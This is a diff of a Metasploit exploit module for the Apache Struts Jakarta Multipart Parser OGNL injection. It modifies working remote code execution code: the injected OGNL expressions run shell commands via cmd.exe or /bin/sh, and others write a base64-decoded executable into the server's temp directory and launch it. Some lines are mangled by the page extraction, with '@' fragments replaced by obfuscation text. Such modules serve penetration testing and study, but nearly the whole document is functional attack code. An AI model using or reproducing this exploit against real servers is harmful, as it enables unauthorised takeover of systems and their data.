@@ -9,14 +9,19 @@ class MetasploitModule < Msf::Exploit::Remote
9
9
Rank = ExcellentRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
+ include Msf ::Exploit ::EXE
12
13
13
14
def initialize ( info = { } )
14
15
super ( update_info ( info ,
15
- 'Name' => 'Apache Struts Jakarta Multipart Parser Remote Code Execution ' ,
16
+ 'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection ' ,
16
17
'Description' => %q{
17
18
This module exploits a remote code execution vunlerability in Apache Struts
18
- version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
19
+ version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
19
20
via http Content-Type header.
21
+
22
+ Native payloads will be converted to executables and dropped in the
23
+ server's temp dir. If this fails, try a cmd/* payload, which won't
24
+ have to write to the disk.
20
25
} ,
21
26
'Author' => [
22
27
'Nike.Zheng' , # PoC
@@ -33,7 +38,7 @@ def initialize(info = {})
33
38
[
34
39
'Universal' , {
35
40
'Platform' => %w{ unix windows linux } ,
36
- 'Arch' => [ ARCH_CMD , ARCH_JAVA ] ,
41
+ 'Arch' => [ ARCH_CMD , ARCH_X86 , ARCH_X64 ] ,
37
42
} ,
38
43
] ,
39
44
] ,
@@ -48,9 +53,11 @@ def initialize(info = {})
48
53
)
49
54
register_advanced_options (
50
55
[
51
- OptString . new ( 'HTTP::Method ' , [ true , 'The HTTP method to send in the request. Cannot contain spaces' , 'GET' ] )
56
+ OptString . new ( 'HTTPMethod ' , [ true , 'The HTTP method to send in the request. Cannot contain spaces' , 'GET' ] )
52
57
]
53
58
)
59
+
60
+ @data_header = "X-#{ rand_text_alpha ( 4 ) } "
54
61
end
55
62
56
63
def check
@@ -61,7 +68,7 @@ def check
61
68
ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('| +var_a +%q|', #os))|
62
69
63
70
begin
64
- resp = send_http_request ( ognl )
71
+ resp = send_struts_request ( ognl )
65
72
rescue Msf ::Exploit ::Failed
66
73
return Exploit ::CheckCode ::Unknown
67
74
end
@@ -76,18 +83,20 @@ def check
76
83
77
84
def exploit
78
85
case payload . arch . first
79
- when ARCH_JAVA
80
- datastore [ 'LHOST' ] = nil
81
- resp = send_payload ( payload . encoded_jar )
86
+ # when ARCH_JAVA
87
+ # datastore['LHOST'] = nil
88
+ # resp = send_payload(payload.encoded_jar)
82
89
when ARCH_CMD
83
90
resp = execute_command ( payload . encoded )
91
+ else
92
+ resp = send_payload ( generate_payload_exe )
84
93
end
85
94
86
- # require'pp'
87
- # pp resp.headers if resp
95
+ require 'pp'
96
+ pp resp . headers if resp
88
97
end
89
98
90
- def send_http_request ( ognl , method : 'LOLWUT' , stuff : '' )
99
+ def send_struts_request ( ognl , extra_header : '' )
91
100
uri = normalize_uri ( datastore [ "TARGETURI" ] )
92
101
content_type = "%{(#_='multipart/form-data')."
93
102
content_type <<
"(#[email protected] @DEFAULT_MEMBER_ACCESS)."
@@ -102,18 +111,16 @@ def send_http_request(ognl, method: 'LOLWUT', stuff: '')
102
111
content_type << "}"
103
112
104
113
headers = { 'Content-Type' => content_type }
105
- if stuff
106
- headers [ 'stuff' ] = stuff
114
+ if extra_header
115
+ headers [ @data_header ] = extra_header
107
116
end
108
117
109
118
#puts content_type.gsub(").", ").\n")
110
119
#puts
111
- #puts content_type.length
112
- #puts
113
120
114
121
resp = send_request_cgi (
115
122
'uri' => uri ,
116
- 'method' => method ,
123
+ 'method' => datastore [ 'HTTPMethod' ] ,
117
124
'headers' => headers
118
125
)
119
126
@@ -125,37 +132,44 @@ def send_http_request(ognl, method: 'LOLWUT', stuff: '')
125
132
126
133
def execute_command ( cmd )
127
134
ognl = ''
128
- ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
129
- ognl <<
%q|(#[email protected] @getRequest().getHeader('stuff')).|
130
- ognl << %q|(#r.addHeader('decoded',#cmd)).|
135
+ ognl <<
%Q|(#[email protected] @getRequest().getHeader('#{ @data_header } ')).|
136
+
137
+ # You can add headers to the server's response for debugging with this:
138
+ #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
139
+ #ognl << %q|(#r.addHeader('decoded',#cmd)).|
140
+
131
141
ognl <<
%q|(#[email protected] @getProperty('os.name')).|
132
142
ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
133
143
ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
134
- ognl << "(#p.redirectErrorStream(true))."
135
- ognl << "(#process=#p.start())."
136
-
137
- ognl << %q|(#r.addHeader('end','end'))|
144
+ ognl << %q|(#p.redirectErrorStream(true)).|
145
+ ognl << %q|(#process=#p.start())|
138
146
139
- send_http_request ( ognl , stuff : cmd )
147
+ send_struts_request ( ognl , extra_header : cmd )
140
148
end
141
149
142
- def send_payload ( jar )
150
+ def send_payload ( exe )
151
+
143
152
ognl = ""
144
- ognl <<
%q|(#[email protected] @getRequest().getHeader('stuff')).|
145
- ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#stuff)).|
146
- ognl <<
%q|(#[email protected] @createTempFile('metasploit','.jar')).|
153
+ ognl <<
%Q|(#[email protected] @getRequest().getHeader('#{ @data_header } ')).|
154
+ ognl <<
%Q|(#[email protected] @createTempFile('#{ rand_text_alpha ( 4 ) } ','.exe')).|
155
+ #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
156
+ #ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).|
157
+ ognl << %q|(#f.setExecutable(true)).|
147
158
ognl << %q|(#f.deleteOnExit()).|
148
159
ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|
160
+
161
+ # Using stuff from the sun.* package here means it likely won't work on
162
+ # non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to
163
+ # work and I don't see a better way of getting binary data onto the
164
+ # system. =/
165
+ ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).|
149
166
ognl << %q|(#fos.write(#d)).|
150
- ognl << %q|(#r='com.opensymphony.xwork2.dispatcher.HttpServletResponse' ).|
167
+ ognl << %q|(#fos.close() ).|
151
168
152
- ognl << %q|(#context[#r].addHeader('stuff',#d[0])).|
153
- ognl << %q|(#p=new java.lang.ProcessBuilder({'/usr/bin/java','-jar',#f.getAbsolutePath()})).|
154
- ognl << %q|(#context[#r].addHeader('stuff',#f.getAbsolutePath())).|
155
- ognl << %q|(#p.start()).|
169
+ ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
170
+ ognl << %q|(#p.start())|
156
171
157
- ognl << %q|(#context[#r].addHeader('end','end'))|
158
- send_http_request ( ognl , stuff : [ jar . pack ] . pack ( "m" ) . delete ( "\n " ) )
172
+ send_struts_request ( ognl , extra_header : [ exe ] . pack ( "m" ) . delete ( "\n " ) )
159
173
end
160
174
161
175
end
@@ -165,8 +179,8 @@ def send_payload(jar)
165
179
166
180
ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|
167
181
ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|
168
- ognl << %q|(#[email protected] @getMethods(#c,'run ',true).get(0)).|
169
- ognl << %q|(#context[#r] .addHeader('meth',#m.toGenericString())).|
182
+ ognl << %q|(#[email protected] @getMethods(#c,'main ',true).get(0)).|
183
+ ognl << %q|(#r .addHeader('meth',#m.toGenericString())).|
170
184
ognl << %q|(#m.invoke(null,null)).|
171
185
172
186
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
0 commit comments